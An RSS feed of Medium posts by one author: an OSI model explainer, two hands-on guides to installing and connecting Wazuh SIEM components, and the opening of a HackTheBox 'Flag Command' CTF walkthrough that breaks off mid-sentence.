<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hammam Awis Zukimi on Medium]]></title>
        <description><![CDATA[Stories by Hammam Awis Zukimi on Medium]]></description>
        <link>https://medium.com/@hammamawis?source=rss-b90eee57f210------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*t3TiSZX4vNEg5o54VoLepw.jpeg</url>
            <title>Stories by Hammam Awis Zukimi on Medium</title>
            <link>https://medium.com/@hammamawis?source=rss-b90eee57f210------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 17:47:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hammamawis/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OSI 7 Layer Model — The Core of Networking]]></title>
            <link>https://medium.com/@hammamawis/osi-7-layer-model-the-core-of-networking-67f1967a45cc?source=rss-b90eee57f210------2</link>
            <guid isPermaLink="false">https://medium.com/p/67f1967a45cc</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[layer-model]]></category>
            <category><![CDATA[osi-layer]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[osi-7-layer]]></category>
            <dc:creator><![CDATA[Hammam Awis Zukimi]]></dc:creator>
            <pubDate>Fri, 29 May 2026 11:57:22 GMT</pubDate>
            <atom:updated>2026-05-29T11:57:22.103Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rIGMWQQdqJ2EKUtEq6CdpQ.png" /></figure><p>Before delving deeper into IT infrastructure, networking, servers, or cybersecurity, we need to understand one fundamental thing: how the internet actually works.</p><p>Every time we open a website, send a message, or watch a video online, a complex process takes place behind the scenes. Data travels from our devices, through cables, routers, access points, and ISPs, until it finally reaches the server and returns to the browser in a matter of milliseconds.</p><p>But how do all these devices communicate with one another?<br>How is data transmitted in an organized manner rather than in a chaotic jumble?</p><p>This is where the OSI Model comes into play.</p><h3><strong>What Is the OSI Layer?</strong></h3><p>The OSI (Open Systems Interconnection) model is a conceptual framework used to explain how data communication occurs within computer networks and the internet. This model divides the communication process into seven layers, ranging from the transmission of physical signals through cables to the applications used by users, such as web browsers or email. With this layered structure, each part of the network has distinct tasks and functions, making the communication process more structured, efficient, and easy to understand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*smDoUhDhbTIxC-kyAkEgcg.png" /></figure><p>In practice, when someone opens a website or sends data over the internet, the data passes through each OSI layer sequentially before reaching its destination. This journey begins with the Physical Layer, which transmits signals; continues through the Network Layer, which manages IP addresses and routing; and culminates in the Application Layer, which interacts directly with user applications. The OSI model helps engineers, server administrators, and cybersecurity professionals understand how the internet works, troubleshoot network issues, and build more stable and secure infrastructure.</p><h3>Physical Layer (Layer 1)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*_XNC98olnO8y-anV.jpg" /></figure><p>The Physical Layer is the lowest layer in the OSI model, responsible for transmitting data in the form of physical signals through communication media such as cables or radio waves. This layer does not understand the content of the data — such as text, images, or video, but rather handles how binary data (0 and 1) is transmitted from one device to another. The Physical Layer governs aspects such as electrical voltage, signal frequency, data transfer rates, connector types, and the form of transmission media used in the network.</p><h3>How the Physical Layer Sends Messages</h3><p>Before data is sent, the computer converts all information into binary code consisting of the numbers 0 and 1. This binary code is then translated into physical signals by the Network Interface Card (NIC). In an Ethernet cable, for example:</p><blockquote>the number 1 is represented by the presence of an electrical voltage<br>the number 0 is represented by the absence of an electrical voltage</blockquote><p>In fiber optics, binary data is transmitted using laser light, while in Wi-Fi, data is transmitted using radio waves. These signals travel through the transmission medium to the destination device, where they are converted back into binary data so they can be processed by the receiving computer.</p><h3>Data Link Layer (Layer 2)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*wwTd0CzTmXWBUkpU.jpg" /></figure><p>The Data Link Layer is the second layer in the OSI model, responsible for managing data communication between devices within a local area network (LAN). This layer ensures that data is sent to the correct device using a physical address known as a MAC address. Additionally, the Data Link Layer is responsible for encapsulating data into frames, detecting simple errors during transmission, and managing how devices within the local area network communicate with one another to prevent data collisions.</p><h3>How the Data Link Layer Works</h3><p>When a device wants to send data, the Data Link Layer retrieves the data from the Network Layer and encapsulates it into a frame. The frame contains:</p><ul><li>Source MAC Address (sender’s address)</li><li>Destination MAC Address (receiver’s address)</li><li>Data payload</li></ul><p>Example frame:</p><pre>Source MAC      : 00:1A:2B:3C:4D:5E<br>Destination MAC : AA:BB:CC:DD:EE:FF<br>Data            : Request ke google.com</pre><p>The frame then sent via a LAN cable or Wi-Fi to a switch or access point. The switch reads the Destination MAC Address to determine the destination device. Since the destination MAC is the router, the switch forwards the frame to the Wi-Fi router. Once the frame is received, the router decapsulates the frame and forwards the data to the next layer wich is the Network Layer, to be processed using the IP Address for transmission to the internet.</p><p>If the destination device is on the same local network, the data can be sent directly using the MAC Address without needing to go through the internet. However, if the destination is outside the local network, the Data Link Layer will still send the frame first to the router as the “gateway” to another network.</p><h3>Network Layer (Layer 3)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*AZjxXe_p_VVyTHOjvlHbfg.png" /></figure><p>The Network Layer is the third layer in the OSI model, responsible for managing data transmission between networks using IP addresses. While the Data Link Layer operates only within a local network using MAC addresses, the Network Layer enables devices to communicate with other networks, including the global internet. This layer is responsible for determining the best path (routing), directing data packets to their destination, and ensuring that data reaches servers or devices on different networks.</p><h3>Key Concepts in the Network Layer</h3><ul><li><strong>IP Address</strong><br>An IP address is a unique address used to identify devices on a network.</li></ul><p>IPv4 example:</p><pre>192.168.1.10</pre><p>An IP address consists of:</p><p>Network ID → network identifier<br>Host ID → device identifier</p><p>IPv4 consists of 32 bits divided into 4 octets.<br>Example:</p><pre>192.168.1.10</pre><p>If converted to binary:</p><pre>11000000.10101000.00000001.00001010</pre><ul><li><strong>Subnet Mask</strong><br>A subnet mask is used to determine:<br>which part is the network ID and which part is the host ID</li></ul><p>Example:</p><pre>IP Address  : 192.168.1.10<br>Subnet Mask : 255.255.255.0</pre><p>That subnet mask means:</p><pre>192.168.1 → Network<br>10         → Host</pre><p>The way subnets work is that we can see the subnet, and it is this subnet that determines the host range</p><pre>192.168.1.0/24</pre><p>Meaning:<br><strong>First 24 bits = network<br>Last 8 bits = host</strong></p><p>Available host range:</p><pre>192.168.1.1 - 192.168.1.254</pre><h3>Why Are Subnets Important?</h3><p>Subnets are used to:</p><ul><li>Divide large networks into smaller ones</li><li>Reduce broadcasts</li><li>Improve efficiency</li><li>Simplify network management</li><li>Enhance security</li></ul><h3>Transport Layer (Layer 4)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*pgr0ZLJUB_LlnDFy5ZDprA.png" /></figure><p>The Transport Layer is the fourth layer in the OSI model, responsible for providing end-to-end communication between two hosts on a network. This layer ensures that data sent from an application on one device reaches the correct application on the destination device reliably or quickly, depending on the protocol used. The Transport Layer also handles data segmentation (breaking large data into smaller parts), error control, flow control, and port configuration to ensure data reaches the correct application.</p><h3>Transport Layer Components: TCP and UDP</h3><p><strong>TCP (Transmission Control Protocol)</strong> is a connection-oriented protocol in the Transport Layer, meaning it must establish a connection before data is sent. TCP ensures that data arrives completely, in order, and without errors through mechanisms such as acknowledgments (ACK), sequence numbers, and retransmission if any data is lost. Examples of its use include web browsing (HTTP/HTTPS), email (SMTP/IMAP), and file transfer (FTP), where data accuracy is more important than speed.</p><p><strong>UDP (User Datagram Protocol)</strong> is a connectionless protocol that sends data without requiring a connection first and does not guarantee that data will arrive or be in order. Because there is no verification or retransmission process, UDP is much faster than TCP but less reliable. UDP is typically used in applications that require high speed, such as video streaming, online gaming, voice calls (VoIP), and DNS lookups, where a small amount of data loss is still tolerable.</p><h3>Session Layer (Layer 5)</h3><p>The Session Layer is the fifth layer of the OSI model, responsible for establishing, managing, and terminating communication sessions between two applications on different devices. This layer ensures that communication between the two parties remains organized throughout the data exchange, including keeping the session active, performing synchronization, and enabling recovery if the connection is lost. The Session Layer also manages control dialog, determining whether communication occurs in half-duplex or full-duplex mode.</p><h3>Presentation Layer (Layer 6)</h3><p>The Presentation Layer is the sixth layer of the OSI model, responsible for transforming, translating, and formatting data so that it can be understood by different systems. This layer ensures that data sent from an application on one device can be correctly read by an application on another device, even if they use different formats or systems. Additionally, the Presentation Layer handles encryption, decryption, and data compression to make transmission more efficient.</p><h3>Application Layer (Layer 7)</h3><p>The Application Layer is the topmost layer of the OSI model and interacts directly with the user. This layer provides network services to applications such as web browsers, email clients, file transfer programs, and other applications, enabling them to access the network. The Application Layer is not the application itself, but rather provides the protocols and services that allow these applications to communicate over the network, such as HTTP, HTTPS, FTP, DNS, and SMTP.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/0*M8nIx3XW8iM_O0gg" /></figure><p>Layer 7 (Application), Layer 6 (Presentation), and Layer 5 (Session) are interconnected because all three work together to prepare data before it is sent over the network. Layer 7 generates data from user applications, such as HTTP requests; Layer 6 then transforms that data so it can be understood by other systems through processes like encryption, compression, or format conversion; while Layer 5 manages the communication flow by establishing, maintaining, and terminating sessions to ensure data exchange remains structured and uninterrupted.</p><blockquote>User (Application)<br> ⬇<br> Layer 7 — Application → creates data (request/response)<br> ⬇<br> Layer 6 — Presentation → formats data (encryption / compression / encoding)<br> ⬇<br> Layer 5 — Session → manages communication sessions (start, maintain, end)<br> ⬇<br> Layer 4–1 → data is sent to the network</blockquote><h3>Conclusion</h3><p>The OSI (Open Systems Interconnection) model is a networking framework that divides the data communication process into seven layers, ranging from the Application layer to the Physical layer, so that communication between devices can proceed in a structured and easily understandable manner. Each layer has a specific function and works in conjunction with the others, ranging from data creation by applications, communication session setup, data transmission via TCP/IP and IP addresses, to the conversion of data into physical signals transmitted over network media. With the OSI Layers, the processes of troubleshooting, network development, and communication between different devices and systems become easier, more efficient, and standardized.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=67f1967a45cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hands-on Lab — Setting Up Wazuh Agent to the Wazuh Server]]></title>
            <link>https://medium.com/@hammamawis/hands-on-lab-setting-up-wazuh-agent-to-the-wazuh-server-2c3e728db200?source=rss-b90eee57f210------2</link>
            <guid isPermaLink="false">https://medium.com/p/2c3e728db200</guid>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[monitoring]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[it-security]]></category>
            <dc:creator><![CDATA[Hammam Awis Zukimi]]></dc:creator>
            <pubDate>Thu, 23 Apr 2026 07:44:26 GMT</pubDate>
            <atom:updated>2026-04-23T07:44:26.524Z</atom:updated>
            <content:encoded><![CDATA[<p>Security teams rely heavily on monitoring and detection tools to identify suspicious behavior before it turns into a full-blown incident. One of the most powerful open-source platforms that enables this is Wazuh.</p><p>In this hands-on lab, I explore the practical side of deploying Wazuh by setting up a Wazuh agent and configuring detection mechanisms. Rather than focusing only on theory, this lab is designed to simulate a real-world scenario where logs are collected, analyzed, and transformed into meaningful security alerts.</p><p>By the end of this lab, you will understand how to connect an endpoint to the Wazuh server, monitor system activities that can help identify potential threats in your environment.</p><h3>Topology</h3><p>The topology will be structured as follows: the Wazuh agent will be installed on the PBL server and dummy server are connected to the SOC server. After the setup is complete, we will simulate an attack on the PBL server and dummy server to observe how alerts are generated, effectively demonstrating a basic SIEM scenario.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*7chtNswdreGtel5aF25mFA.png" /></figure><h3>Deploying the Wazuh Agent (method 1)</h3><p>first in the pbl server, we need to Add the Wazuh repository to download the official packages</p><pre>sudo apt-get install gnupg apt-transport-https<br>curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | sudo gpg --no-default-keyring --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import<br>sudo chmod 644 /usr/share/keyrings/wazuh.gpg<br>echo &quot;deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main&quot; | sudo tee /etc/apt/sources.list.d/wazuh.list<br>sudo apt-get update</pre><p>now we need to to deploy the Wazuh agent on your Linux endpoint. Replace the WAZUH_MANAGER value with your Wazuh manager IP address or hostname, in here i use an IP of “192.168.56.150&quot;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*UKgt4Jzw_aFunpRn8d6NQA.png" /></figure><p>now start the wazuh-agent and finish the authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*9TektIU3TUJiueuUcZsM2g.png" /></figure><h3>Deploying the Wazuh Agent (method 2)</h3><p>first we will try to make and deploy the new agent from the wazuh dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*OuR9qCNV9A-0HZaCB_dwwQ.png" /></figure><p>here we will need to select the package to download and install in our system, because i use an ubuntu server, we will pick linux and because its X86_64, we will choose the amd64.</p><ul><li>x86_64 → amd64 (Intel/AMD 64-bit)</li><li>aarch64 → ARM64</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WiALm6WqDQXbgwtQHu6ynA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*44-kh2QgLvtcCPzwm_UWqQ.png" /></figure><p>then in server address, fill it with the address of the server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*yDkbHxmqH_qb3v4Kv4gHng.png" /></figure><p>here is the agent name, try fill it with a unique name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*ZYd5HBRtc5G_kZas6xnMxg.png" /></figure><p>in the step of “<strong>Run the following commands to download and install the agent:”, </strong>copy the command from it, and run it in the server that will use the agent, in here i put it in the pbl server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*gswCStiVGbT8lg7Vwpy-iw.png" /></figure><p>now run the service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*idYrn6lMqvG2AkY3rEzVCA.png" /></figure><h3>And the output of the dummy server and the pbl server will look like this:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b64GA2kVG0UPE27VQnfdkQ.png" /></figure><p>The Wazuh Agent is a component installed on an endpoint (server, VM, or host) to collect security data and send it to the Wazuh Server (Manager).<br>Once the agent has successfully connected to the server:</p><ul><li>The agent will actively send logs and events from the system</li><li>The server will analyze this data in real-time</li><li>The analysis results can be alerts, rule matches, or threat notifications</li></ul><p>Simply put:</p><p><strong>Agent = the “eyes and ears” at the endpoint</strong></p><p><strong>Server = the “brain” that analyzes</strong></p><h3>That’s all</h3><p>In the agent, we can observe a wide range of system activities, from authentication logs to system events, all of which can be analyzed to detect potential security threats. By properly configuring the dashboard, we are able to visualize these events, filter relevant alerts, and gain meaningful insights into what is happening within our environment.</p><p>This hands-on lab demonstrates how a simple setup, connecting a Wazuh agent to a Wazuh server can evolve into a functional security monitoring solution. With the ability to generate, detect, and analyze events, we have effectively built a foundational SIEM simulation.</p><p>From here, the possibilities expand further. You can enhance detection with custom rules, integrate additional agents, or simulate more advanced attack scenarios to deepen your understanding of security operations.</p><p>For the next part, this lab will enhance detection with custom rules, integrate additional agents, or simulate some attack scenarios to deepen understanding of security operations. — lets make it more fun!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2c3e728db200" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hands-on Lab — Wazuh Setup for Cyber ​​Attack Detection]]></title>
            <link>https://medium.com/@hammamawis/hands-on-lab-wazuh-setup-for-cyber-attack-detection-592812e7dc26?source=rss-b90eee57f210------2</link>
            <guid isPermaLink="false">https://medium.com/p/592812e7dc26</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[it-security]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[monitoring]]></category>
            <category><![CDATA[wazuh]]></category>
            <dc:creator><![CDATA[Hammam Awis Zukimi]]></dc:creator>
            <pubDate>Wed, 15 Apr 2026 11:31:34 GMT</pubDate>
            <atom:updated>2026-04-15T11:31:34.154Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*ZB7NST75sNub35_e8njKJg.png" /></figure><p>Security Information and Event Management (SIEM) is a cybersecurity approach that combines real-time monitoring, log management, and event analysis to detect and respond to potential security threats within an organization’s IT environment.</p><p>Platforms like Wazuh collect data from various sources, such as servers, network devices, and applications, then analyze that data using predefined rules and correlation techniques to identify suspicious activity, generate alerts, and support incident response and forensic investigations.</p><p>there’s a few things you need to now about wazuh:</p><p><strong>1. Wazuh Agent —</strong> The Wazuh Agent is a component installed on endpoints such as servers, laptops, or virtual machines that collects system data and sends it to the Wazuh Server for analysis.</p><p><strong>2. Wazuh Server </strong>— The Wazuh Server is the processing hub that receives data from agents, analyzes it using rules to detect security threats, generates alerts, and correlates various events occurring within the system.</p><p><strong>3. Wazuh Indexer</strong> — The Wazuh Indexer is a component responsible for storing and managing the analyzed data from the server by performing indexing, enabling the data to be searched and accessed quickly. This component is typically based on OpenSearch.</p><p><strong>4. Wazuh Dashboard</strong> — The Wazuh Dashboard is a web-based interface used to visualize security data in the form of graphs, tables, and alerts, making it easier for users to monitor, analyze, and investigate incidents in real-time.</p><h3>Configuring Indexer</h3><p>first we need to have the cert and config.yml</p><pre>curl -sO https://packages.wazuh.com/4.14/wazuh-certs-tool.sh<br>curl -sO https://packages.wazuh.com/4.14/config.yml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*fzuvuWv-EwsMNHj8IEivXQ.png" /></figure><p>now we will edit the config.yml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*It0ava-OUZ2U4FZgi4jKtw.png" /></figure><p>here we will configure the IP, because i will make the wazuh in one single server, i put the own server IP in the nodes</p><p>and now we will create the cert with:</p><pre>bash ./wazuh-certs-tool.sh -A</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*tvwOCQO3TTWmtE3ey4ndsg.png" /></figure><p>after the cert is finish, we need to adding the Wazuh repository</p><pre>curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | \<br>sudo gpg --no-default-keyring \<br>--keyring /usr/share/keyrings/wazuh.gpg \<br>--import<br><br>sudo chmod 644 /usr/share/keyrings/wazuh.gpg<br><br>echo &quot;deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main&quot; | tee -a /etc/apt/sources.list.d/wazuh.list</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KEJRM9Zwo7k9GgydOtALiw.png" /></figure><p>then install wazuh-indexer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iq5hdTA5-lTtScQCm_pEGA.png" /></figure><p>Deploy certificates, now we need to deploy cert with following command:</p><pre>tar -xf ./wazuh-certificates.tar -C /etc/wazuh-indexer/certs/ ./$NODE_NAME.pem ./$NODE_NAME-key.pem ./admin.pem ./admin-key.pem ./root-ca.pem<br>mv -n /etc/wazuh-indexer/certs/$NODE_NAME.pem /etc/wazuh-indexer/certs/indexer.pem<br>mv -n /etc/wazuh-indexer/certs/$NODE_NAME-key.pem /etc/wazuh-indexer/certs/indexer-key.pem<br>chmod 500 /etc/wazuh-indexer/certs<br>chmod 400 /etc/wazuh-indexer/certs/*<br>chown -R wazuh-indexer:wazuh-indexer /etc/wazuh-indexer/certs</pre><p>change the $NODE_NAME as the node name from the config.yml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MnVmOeqnFYvSF_hkhf5XzA.png" /></figure><p>And last,restart the service and start wazuh-indexer service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MxfxqNtG0WkqYlSB913mpA.png" /></figure><h3>Installing Wazuh Server</h3><p>first we need to install wazuh manager</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*6WQ_p-d7tvAaCcDkzmxRPA.png" /></figure><p>then we need to install filebeat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*0qdOQtJcoOUr3Gm7tGoPLA.png" /></figure><p>In the Wazuh architecture, Filebeat is a component that acts as a log shipper, sending data (alerts/logs) from the Wazuh Server to a storage system such as OpenSearch.</p><p>then we run:</p><pre>curl -so /etc/filebeat/filebeat.yml https://packages.wazuh.com/4.14/tpl/wazuh/filebeat/filebeat.yml</pre><p>after we finish the curl command, edit the /etc/filebeat/filebeat.yml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*D4oHkbV7MTZL7fTt62yFhg.png" /></figure><p>change the host to the ip we configure before, where the wazuh host is.</p><p>then, we make the keystore with this command : filebeat keystore create</p><p>and the output will look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*5-gL-7wL3FJI-ljwKeNUXw.png" /></figure><p>Add the default username and password admin:admin to the secrets keystore.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*mYTL2YJ82QhcJmnjy2T8Ag.png" /></figure><p>now we download the alert template and we need to install wazuh module for the server</p><pre>curl -so /etc/filebeat/wazuh-template.json https://raw.githubusercontent.com/wazuh/wazuh/v4.14.4/extensions/elasticsearch/7.x/wazuh-template.json<br>chmod go+r /etc/filebeat/wazuh-template.json<br>curl -s https://packages.wazuh.com/4.x/filebeat/wazuh-filebeat-0.5.tar.gz | tar -xvz -C /usr/share/filebeat/module</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6NEEYRZt929FdRelmLsFYg.png" /></figure><p>we need to deploy the certificate too for the filebeat, the command is the same from before, but the location right now is in the /etc/filebeat/certs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FjVVoTuoX2hVX6TCRBGmYQ.png" /></figure><p>Save the Wazuh indexer username and password into the Wazuh manager keystore using the wazuh-keystore tool. in here, i use the username ‘soc’ and for the password ‘123456’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*b0bdjAT9Kln-G7IXaL7bNA.png" /></figure><p>Edit /var/ossec/etc/ossec.conf to configure the indexer connection. ussually, the host of indexer is 0.0.0.0:9200, here we can change for the ip that we configure before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*9Wn_5iIB_V9jLidT9yMeUQ.png" /></figure><p>now we start the wazuh-manager service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8EpI1ETaCoH4t_9EGNZyfQ.png" /></figure><p>then we try to run filebeat test output</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*1OKY63lCbZmZiAeZayIVxw.png" /></figure><p>if there’s no error, all the output will be OK</p><h3>Wazuh dashboard</h3><p>now we will install the dashboard, first we need to Install the package dependencies</p><pre>apt-get install debhelper tar curl libcap2-bin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*8Z6Lb5aNQXgdWiPmXcIWVQ.png" /></figure><p>now install the wazuh-dashboard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*CmB9de723eNviR7ws2foJA.png" /></figure><p>we can configure the dashboard from</p><p>/etc/wazuh-dashboard/opensearch_dashboards.yml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*qByBZbPZabPtzuqeOBwaLA.png" /></figure><p>the next step, we need to deploy the cert, and now the location is in the /etc/wazuh-dashboard/certs</p><pre>mkdir /etc/wazuh-dashboard/certs<br>tar -xf ./wazuh-certificates.tar -C /etc/wazuh-dashboard/certs/ ./$NODE_NAME.pem ./$NODE_NAME-key.pem ./root-ca.pem<br>[ ! -e /etc/wazuh-dashboard/certs/dashboard.pem ] &amp;&amp; mv -n /etc/wazuh-dashboard/certs/$NODE_NAME.pem /etc/wazuh-dashboard/certs/dashboard.pem<br>[ ! -e /etc/wazuh-dashboard/certs/dashboard-key.pem ] &amp;&amp; mv -n /etc/wazuh-dashboard/certs/$NODE_NAME-key.pem /etc/wazuh-dashboard/certs/dashboard-key.pem<br>chmod 500 /etc/wazuh-dashboard/certs<br>chmod 400 /etc/wazuh-dashboard/certs/*<br>chown -R wazuh-dashboard:wazuh-dashboard /etc/wazuh-dashboard/certs</pre><p>now enable and start the wazuh-dashboard service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Nm2bUCB9S_EB9YnSBDRQA.png" /></figure><p>now we open /usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml and go to hosts section, and for the url, change it to the IP of the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/359/1*cxiFZFTfLs3sbwxKq5VIuQ.png" /></figure><p>now we open in our browser in the url, and we will look the wazuh admin dashboard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*md1fEQQSoESUbQYS9EZ4yA.png" /></figure><p>and now we open it with username:admin|password:admin to open, and if there’s no error the page will direct like it shown.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T1_gp0tWC_KUqvkYN5wN8A.png" /></figure><h3>That’s all</h3><p>After completing the Wazuh setup, it can be concluded that Wazuh provides a comprehensive and robust platform for security monitoring, log analysis, and threat detection in a centralized environment. By integrating components such as servers, indexers, and dashboards, Wazuh enables real-time visibility into system activity and potential security incidents, making it an effective solution for building a basic SIEM in a lab environment.</p><p>As a next step, this lab will be expanded by connecting several endpoints using Wazuh agents, and there’s much more we’ll be doing — just wait and see, hahaha</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=592812e7dc26" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Journeys of HackTheBox Labs Challenges | Flag Command]]></title>
            <link>https://medium.com/@hammamawis/journeys-of-hackthebox-labs-challenges-flag-command-0c5edf2a43f9?source=rss-b90eee57f210------2</link>
            <guid isPermaLink="false">https://medium.com/p/0c5edf2a43f9</guid>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Hammam Awis Zukimi]]></dc:creator>
            <pubDate>Fri, 13 Mar 2026 08:05:30 GMT</pubDate>
            <atom:updated>2026-03-13T08:05:30.131Z</atom:updated>
            <content:encoded><![CDATA[<h3>Journeys of HackTheBox Labs Challenges| <strong>Flag Command</strong></h3><p>Flag Command is a web-based challenge from the Hack The Box Cyber Apocalypse 2024 CTF, designed as an interactive text adventure. The goal is to navigate a fictional forest maze by entering directional commands like HEAD NORTH, HEAD SOUTH, etc., but the flag is not found through gameplay.</p><p>So, to start the game, I open my browser and enter the IP address provided by Hackthebox, and the result will be a game that looks like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KZSYBD7pQx1z9rcGrIxryw.png" /></figure><p>And to start the game, we need to type “start,” and the website will display four options to choose from.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*Ayr6robw9sKZOALxDnQLxQ.png" /></figure><p>For analysis, I tried checking the website, and from my analysis, there are three interesting scripts used in this flag command challenge.</p><ul><li>command.js</li><li>main.js</li><li>game.js</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*9_NfVHF7AZTMlD9IT4Wb2w.png" /></figure><p>So, when I tried to open the commands.js file, all that appeared was the output from the game.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UOM1jYsf5_re0E4_gXCqlA.png" /></figure><p>and when i try open the game.js, the output is how the game mechanics work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*A4Pp3o_ziyN7Kh7Vgv0BPQ.png" /></figure><p>and in the main.js, is the information that we need and within it, there’s a function that look helpful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ofmB5mrQRFiepemlqsdlUg.png" /></figure><p>when we scroll to function CheckMessage(), there’s a few step of “if and else if”, so first i try the step by step of the function given.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*8E_MnA0ZuL9jiPxhkIYHPw.png" /></figure><p>and the preview of the input i made look like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*85-CRZI20BHzI1qEZ4cWhQ.png" /></figure><p>But in the previous function, it was only for “setting up camp” and there were still some options we needed to do to get the flag. However, after trying all the answers, I ended up dying repeatedly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bHMreFLMas9smQxkLziqoQ.png" /></figure><p>but there’s and interesting part of the function CheckMessage(). The if statement in that function, if the input matches one of the options we just tried or the answer is “secret,” the following code will be executed. as for now, we need to find this “secret”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*_kOh-cslrMBz1ExzcoF2nA.png" /></figure><p>and whe i try scrolling to the bottom of the main.js, there’s something interesting which is the /api/options and its being export as a JSON file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*B_Tent4Ancl6jTtHIu1Zmw.png" /></figure><p>so i try to look 